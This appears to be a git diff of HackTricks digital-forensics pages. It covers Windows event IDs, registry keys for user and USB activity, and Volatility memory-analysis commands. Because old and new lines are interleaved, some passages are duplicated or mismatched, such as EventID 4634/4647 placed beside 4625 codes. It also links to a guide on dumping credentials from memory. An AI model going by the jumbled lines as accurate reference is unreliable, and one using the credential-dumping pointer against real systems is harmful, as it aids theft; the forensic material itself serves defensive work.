- **Proxy (6)**: Proxy authentication.
|
||||
- **Unlock (7)**: Screen unlocked with a password.
|
||||
- **Network Cleartext (8)**: Clear text password transmission, often from IIS.
|
||||
- **New Credentials (9)**: Usage of different credentials for access.
|
||||
- **Remote Interactive (10)**: Remote desktop or terminal services login.
|
||||
- **Cache Interactive (11)**: Login with cached credentials without domain controller contact.
|
||||
- **Cache Remote Interactive (12)**: Remote login with cached credentials.
|
||||
- **Cached Unlock (13)**: Unlocking with cached credentials.
|
||||
|
||||
| EventID | Description |
|
||||
| --------- | ---------------------------- |
|
||||
| 4624 | Successful authentication |
|
||||
| 4625 | Authentication error |
|
||||
| 4634/4647 | log off |
|
||||
| 4672 | Login with admin permissions |
|
||||
#### Status and Sub Status Codes for EventID 4625:
|
||||
|
||||
Inside the EventID 4634/4647 there are interesting sub-types:
|
||||
- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack.
|
||||
- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt.
|
||||
- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins.
|
||||
- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts.
|
||||
- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access.
|
||||
- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location.
|
||||
- **0xC0000193**: Account expiration - Access attempts with expired user accounts.
|
||||
- **0xC0000071**: Expired password - Login attempts with outdated passwords.
|
||||
- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket.
|
||||
- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security.
|
||||
- **0xC0000225**: Indicates a system bug rather than a security issue.
|
||||
- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon.
|
||||
|
||||
* **2 (interactive)**: The login was interactive using the keyboard or software like VNC or `PSexec -U-`
|
||||
* **3 (network)**: Connection to a shared folder
|
||||
* **4 (Batch)**: Process executed
|
||||
* **5 (service)**: Service started by the Service Control Manager
|
||||
* **6 (proxy):** Proxy Login
|
||||
* **7 (Unlock)**: Screen unblocked using password
|
||||
* **8 (network cleartext)**: User authenticated sending clear text passwords. This event used to come from the IIS
|
||||
* **9 (new credentials)**: It's generated when the command `RunAs` is used or the user access a network service with different credentials.
|
||||
* **10 (remote interactive)**: Authentication via Terminal Services or RDP
|
||||
* **11 (cache interactive)**: Access using the last cached credentials because it wasn't possible to contact the domain controller
|
||||
* **12 (cache remote interactive)**: Login remotely with cached credentials (a combination of 10 and 11).
|
||||
* **13 (cached unlock)**: Unlock a locked machine with cached credentials.
|
||||
#### EventID 4616:
|
||||
- **Time Change**: Modification of the system time, could obscure the timeline of events.
|
||||
|
||||
In this post, you can find how to mimic all these types of login and in which of them you will be able to dump credentials from memory: [https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)
|
||||
#### EventID 6005 and 6006:
|
||||
- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down.
|
||||
|
||||
The Status and sub status information of the events can indicate more details about the causes of the event. For example, take a look at the following Status and Sub Status Codes of the Event ID 4625:
|
||||
#### EventID 1102:
|
||||
- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities.
|
||||
|
||||
![](<../../../.gitbook/assets/image (455).png>)
|
||||
#### EventIDs for USB Device Tracking:
|
||||
- **20001 / 20003 / 10000**: USB device first connection.
|
||||
- **10100**: USB driver update.
|
||||
- **EventID 112**: Time of USB device insertion.
|
||||
|
||||
For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625.
|
||||
|
||||
### Recovering Windows Events
|
||||
|
||||
It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probability of recovering the Windows Events. In case they were deleted, a tool that can be useful to try and recover them is [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension.
|
||||
To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events.
|
||||
|
||||
## Identifying Common Attacks with Windows Events
|
||||
### Identifying Common Attacks via Windows Events
|
||||
|
||||
* [https://redteamrecipe.com/event-codes/](https://redteamrecipe.com/event-codes/)
|
||||
For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
### Brute Force Attack
|
||||
#### Brute Force Attacks
|
||||
|
||||
A brute force attack can be easily identifiable because **several EventIDs 4625 will appear**. If the attack was **successful**, after the EventIDs 4625, **an EventID 4624 will appear**.
|
||||
Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds.
|
||||
|
||||
### Time Change
|
||||
#### Time Change
|
||||
|
||||
This is awful for the forensics team as all the timestamps will be modified. This event is recorded by the EventID 4616 inside the Security Event log.
|
||||
Recorded by EventID 4616, changes to system time can complicate forensic analysis.
|
||||
|
||||
### USB devices
|
||||
#### USB Device Tracking
|
||||
|
||||
The following System EventIDs are useful:
|
||||
Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps.
|
||||
|
||||
* 20001 / 20003 / 10000: First time it was used
|
||||
* 10100: Driver update
|
||||
#### System Power Events
|
||||
|
||||
The EventID 112 from DeviceSetupManager contains the timestamp of each USB device inserted.
|
||||
EventID 6005 indicates system startup, while EventID 6006 marks shutdown.
|
||||
|
||||
### Turn Off / Turn On
|
||||
#### Log Deletion
|
||||
|
||||
The ID 6005 of the "Event Log" service indicates the PC was turned On. The ID 6006 indicates it was turned Off.
|
||||
Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis.
|
||||
|
||||
### Logs Deletion
|
||||
|
||||
The Security EventID 1102 indicates the logs were deleted.
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
# Interesting Windows Registry Keys
|
||||
|
||||
## Interesting Windows Registry Keys
|
||||
### Interesting Windows Registry Keys
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -16,180 +16,80 @@ Other ways to support HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
## **Windows system info**
|
||||
|
||||
### Version
|
||||
### **Windows Version and Owner Info**
|
||||
- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner.
|
||||
|
||||
* **`Software\Microsoft\Windows NT\CurrentVersion`**: Windows version, Service Pack, Installation time and the registered owner
|
||||
### **Computer Name**
|
||||
- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||
|
||||
### Hostname
|
||||
### **Time Zone Setting**
|
||||
- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||
|
||||
* **`System\ControlSet001\Control\ComputerName\ComputerName`**: Hostname
|
||||
### **Access Time Tracking**
|
||||
- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Timezone
|
||||
### Windows Versions and Service Packs
|
||||
- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features.
|
||||
|
||||
* **`System\ControlSet001\Control\TimeZoneInformation`**: TimeZone
|
||||
### Enabling Last Access Time
|
||||
- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring.
|
||||
|
||||
### Last Access Time
|
||||
### Network Information Details
|
||||
- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions.
|
||||
|
||||
* **`System\ControlSet001\Control\Filesystem`**: Last time access (by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled).
|
||||
* To enable it: `fsutil behavior set disablelastaccess 0`
|
||||
### Client Side Caching (CSC)
|
||||
- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity.
|
||||
|
||||
### Shutdown Time
|
||||
### AutoStart Programs
|
||||
- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software.
|
||||
|
||||
* `System\ControlSet001\Control\Windows`: Shutdown time
|
||||
* `System\ControlSet001\Control\Watchdog\Display`: Shutdown count (only XP)
|
||||
### Shellbags
|
||||
- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means.
|
||||
|
||||
### Network Information
|
||||
|
||||
* **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Network interfaces
|
||||
* **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: First and last time a network connection was performed and connections through VPN
|
||||
* **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (for XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Network type (0x47-wireless, 0x06-cable, 0x17-3G) an category (0-Public, 1-Private/Home, 2-Domain/Work) and last connections
|
||||
|
||||
### Shared Folders
|
||||
|
||||
* **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC`
|
||||
* CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache
|
||||
* CSCFlag=16 -> Automatic caching documents. “All files and programs that users open from the shared folder are automatically available offline” with the “optimize for performance" unticked.
|
||||
* CSCFlag=32 -> Like the previous options by “optimize for performance” is ticked
|
||||
* CSCFlag=48 -> Cache is disabled.
|
||||
* CSCFlag=2048: This setting is only on Win 7 & 8 and is the default setting until you disable “Simple file sharing” or use the “advanced” sharing option. It also appears to be the default setting for the “Homegroup”
|
||||
* CSCFlag=768 -> This setting was only seen on shared Print devices.
|
||||
|
||||
### AutoStart programs
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce`
|
||||
* `Software\Microsoft\Windows\CurrentVersion\Runonce`
|
||||
* `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run`
|
||||
* `Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
|
||||
### Explorer Searches
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery`: What the user searched for using explorer/helper. The item with `MRU=0` is the last one.
|
||||
|
||||
### Typed Paths
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Paths types in the explorer (only W10)
|
||||
|
||||
### Recent Docs
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: Recent documents opened by the user
|
||||
* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU`:Recent office docs. Versions:
|
||||
* 14.0 Office 2010
|
||||
* 12.0 Office 2007
|
||||
* 11.0 Office 2003
|
||||
* 10.0 Office X
|
||||
* `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word} UserMRU\LiveID_###\FileMRU`: Recent office docs. Versions:
|
||||
* 15.0 office 2013
|
||||
* 16.0 Office 2016
|
||||
|
||||
### MRUs
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU`
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU`
|
||||
|
||||
Indicates the path from where the executable was executed
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSaveMRU` (XP)
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\Op enSavePidlMRU`
|
||||
|
||||
Indicates files opened inside an opened Window
|
||||
|
||||
### Last Run Commands
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU`
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR`
|
||||
|
||||
### User AssistKey
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`
|
||||
|
||||
The GUID is the id of the application. Data saved:
|
||||
|
||||
* Last Run Time
|
||||
* Run Count
|
||||
* GUI application name (this contains the abs path and more information)
|
||||
* Focus time and Focus name
|
||||
|
||||
## Shellbags
|
||||
|
||||
When you open a directory Windows saves data about how to visualize the directory in the registry. These entries are known as Shellbags.
|
||||
|
||||
Explorer Access:
|
||||
|
||||
* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags`
|
||||
* `USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\BagMRU`
|
||||
|
||||
Desktop Access:
|
||||
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\Shell\BagMRU`
|
||||
* `NTUSER.DAT\Software\Microsoft\Windows\Shell\Bags`
|
||||
|
||||
To analyze the Shellbags you can use [**Shellbag Explorer**](https://ericzimmerman.github.io/#!index.md) and you will be able to find the\*\* MAC time of the folder **and also the** creation date and modified date of the shellbag which are related to the\*\* first time and the last time\*\* the folder was accessed.
|
||||
|
||||
Note 2 things from the following image:
|
||||
|
||||
1. We know the **name of the folders of the USB** that was inserted in **E:**
|
||||
2. We know when the **shellbag was created and modified** and when the folder was created and accessed
|
||||
|
||||
![](<../../../.gitbook/assets/image (475).png>)
|
||||
|
||||
## USB information
|
||||
|
||||
### Device Info
|
||||
|
||||
The registry `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitors each USB device that has been connected to the PC.\
|
||||
Within this registry it's possible to find:
|
||||
|
||||
* The manufacturer's name
|
||||
* The product name and version
|
||||
* The Device Class ID
|
||||
* The volume name (in the following images the volume name is the highlighted subkey)
|
||||
|
||||
![](<../../../.gitbook/assets/image (477).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (479) (1).png>)
|
||||
|
||||
Moreover, by checking the registry `HKLM\SYSTEM\ControlSet001\Enum\USB` and comparing the values of the sub-keys it's possible to find the VID value.
|
||||
|
||||
![](<../../../.gitbook/assets/image (478).png>)
|
||||
|
||||
With the previous information the registry `SOFTWARE\Microsoft\Windows Portable Devices\Devices` can be used to obtain the **`{GUID}`**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (480).png>)
|
||||
|
||||
### User that used the device
|
||||
|
||||
Having the **{GUID}** of the device it's now possible to **check all the NTUDER.DAT hives of all the users**, searching for the GUID until you find it in one of them (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`).
|
||||
|
||||
![](<../../../.gitbook/assets/image (481).png>)
|
||||
|
||||
### Last mounted
|
||||
|
||||
Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Toshiba one (using the tool Registry Explorer).
|
||||
|
||||
![](<../../../.gitbook/assets/image (483) (1) (1).png>)
|
||||
### USB Information and Forensics
|
||||
- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents.
|
||||
|
||||
### Volume Serial Number
|
||||
- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices.
|
||||
|
||||
In `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` you can find the volume serial number. **Knowing the volume name and the volume serial number you can correlate the information** from LNK files that uses that information.
|
||||
### **Shutdown Details**
|
||||
- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
|
||||
Note that when a USB device is formatted:
|
||||
### **Network Configuration**
|
||||
- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
|
||||
* A new volume name is created
|
||||
* A new volume serial number is created
|
||||
* The physical serial number is kept
|
||||
### **Shared Folders**
|
||||
- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability.
|
||||
|
||||
### Timestamps
|
||||
### **Programs that Start Automatically**
|
||||
- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup.
|
||||
|
||||
In `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\` you can find the first and last time the device was connected:
|
||||
### **Searches and Typed Paths**
|
||||
- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively.
|
||||
|
||||
### **Recent Documents and Office Files**
|
||||
- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths.
|
||||
|
||||
### **Most Recently Used (MRU) Items**
|
||||
- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`.
|
||||
|
||||
### **User Activity Tracking**
|
||||
- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Shellbags Analysis**
|
||||
- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis.
|
||||
|
||||
### **USB Device History**
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps.
|
||||
- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**.
|
||||
- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively.
|
||||
|
||||
This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability.
|
||||
|
||||
* 0064 -- First connection
|
||||
* 0066 -- Last connection
|
||||
* 0067 -- Disconnection
|
||||
|
||||
![](<../../../.gitbook/assets/image (482).png>)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -127,7 +127,7 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -123,7 +123,7 @@ volatility kdbgscan -f file.dmp
|
|||
|
||||
#### **Differences between imageinfo and kdbgscan**
|
||||
|
||||
As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it (from [here](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)).
|
||||
[**From here**](https://www.andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/): As opposed to imageinfo which simply provides profile suggestions, **kdbgscan** is designed to positively identify the correct profile and the correct KDBG address (if there happen to be multiple). This plugin scans for the KDBGHeader signatures linked to Volatility profiles and applies sanity checks to reduce false positives. The verbosity of the output and the number of sanity checks that can be performed depends on whether Volatility can find a DTB, so if you already know the correct profile (or if you have a profile suggestion from imageinfo), then make sure you use it from .
|
||||
|
||||
Always take a look at the **number of processes that kdbgscan has found**. Sometimes imageinfo and kdbgscan can find **more than one** suitable **profile** but only the **valid one will have some process related** (This is because to extract processes the correct KDBG address is needed)
|
||||
|
||||
|
@ -141,7 +141,7 @@ PsLoadedModuleList : 0xfffff80001197ac0 (0 modules)
|
|||
|
||||
#### KDBG
|
||||
|
||||
The **kernel debugger block** (named KdDebuggerDataBlock of the type \_KDDEBUGGER\_DATA64, or **KDBG** by volatility) is important for many things that Volatility and debuggers do. For example, it has a reference to the PsActiveProcessHead which is the list head of all processes required for process listing.
|
||||
The **kernel debugger block**, referred to as **KDBG** by Volatility, is crucial for forensic tasks performed by Volatility and various debuggers. Identified as `KdDebuggerDataBlock` and of the type `_KDDEBUGGER_DATA64`, it contains essential references like `PsActiveProcessHead`. This specific reference points to the head of the process list, enabling the listing of all processes, which is fundamental for thorough memory analysis.
|
||||
|
||||
## OS Information
|
||||
|
||||
|
@ -251,7 +251,7 @@ volatility --profile=PROFILE consoles -f file.dmp #command history by scanning f
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Commands entered into cmd.exe are processed by **conhost.exe** (csrss.exe prior to Windows 7). So even if an attacker managed to **kill the cmd.exe** **prior** to us obtaining a memory **dump**, there is still a good chance of **recovering history** of the command line session from **conhost.exe’s memory**. If you find **something weird** (using the console's modules), try to **dump** the **memory** of the **conhost.exe associated** process and **search** for **strings** inside it to extract the command lines.
|
||||
Commands executed in `cmd.exe` are managed by **`conhost.exe`** (or `csrss.exe` on systems before Windows 7). This means that if **`cmd.exe`** is terminated by an attacker before a memory dump is obtained, it's still possible to recover the session's command history from the memory of **`conhost.exe`**. To do this, if unusual activity is detected within the console's modules, the memory of the associated **`conhost.exe`** process should be dumped. Then, by searching for **strings** within this dump, command lines used in the session can potentially be extracted.
|
||||
|
||||
### Environment
|
||||
|
||||
|
@ -397,7 +397,7 @@ volatility --profile=Win7SP1x86_23418 yarascan -Y "https://" -p 3692,3840,3976,3
|
|||
|
||||
### UserAssist
|
||||
|
||||
**Windows** systems maintain a set of **keys** in the registry database (**UserAssist keys**) to keep track of programs that are executed. The number of executions and last execution date and time is available in these **keys**.
|
||||
**Windows** keeps track of programs you run using a feature in the registry called **UserAssist keys**. These keys record how many times each program is executed and when it was last run.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="vol3" %}
|
||||
|
@ -574,7 +574,7 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
The NTFS file system contains a file called the _master file table_, or MFT. There is at least one entry in the MFT for every file on an NTFS file system volume, including the MFT itself. **All information about a file, including its size, time and date stamps, permissions, and data content**, is stored either in MFT entries, or in space outside the MFT that is described by MFT entries. From [here](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table).
|
||||
The **NTFS file system** uses a critical component known as the _master file table_ (MFT). This table includes at least one entry for every file on a volume, covering the MFT itself too. Vital details about each file, such as **size, timestamps, permissions, and actual data**, are encapsulated within the MFT entries or in areas external to the MFT but referenced by these entries. More details can be found in the [official documentation](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table).
|
||||
|
||||
### SSL Keys/Certs
|
||||
|
||||
|
@ -802,13 +802,19 @@ volatility --profile=Win7SP1x86_23418 screenshot -f file.dmp
|
|||
|
||||
### Master Boot Record (MBR)
|
||||
|
||||
```
|
||||
```bash
|
||||
volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp
|
||||
```
|
||||
|
||||
The MBR holds the information on how the logical partitions, containing [file systems](https://en.wikipedia.org/wiki/File\_system), are organized on that medium. The MBR also contains executable code to function as a loader for the installed operating system—usually by passing control over to the loader's [second stage](https://en.wikipedia.org/wiki/Second-stage\_boot\_loader), or in conjunction with each partition's [volume boot record](https://en.wikipedia.org/wiki/Volume\_boot\_record) (VBR). This MBR code is usually referred to as a [boot loader](https://en.wikipedia.org/wiki/Boot\_loader). From [here](https://en.wikipedia.org/wiki/Master\_boot\_record).
|
||||
The **Master Boot Record (MBR)** plays a crucial role in managing the logical partitions of a storage medium, which are structured with different [file systems](https://en.wikipedia.org/wiki/File_system). It not only holds partition layout information but also contains executable code acting as a boot loader. This boot loader either directly initiates the OS's second-stage loading process (see [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) or works in harmony with the [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) of each partition. For in-depth knowledge, refer to the [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record).
|
||||
|
||||
|
||||
# References
|
||||
* [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)
|
||||
* [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html)
|
||||
* [https://or10nlabs.tech/cgi-sys/suspendedpage.cgi](https://or10nlabs.tech/cgi-sys/suspendedpage.cgi)
|
||||
* [https://www.aldeid.com/wiki/Windows-userassist-keys](https://www.aldeid.com/wiki/Windows-userassist-keys)
|
||||
* [https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table](https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table)
|
||||
* [https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa](https://answers.microsoft.com/en-us/windows/forum/all/uefi-based-pc-protective-mbr-what-is-it/0fc7b558-d8d4-4a7d-bae2-395455bb19aa)
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
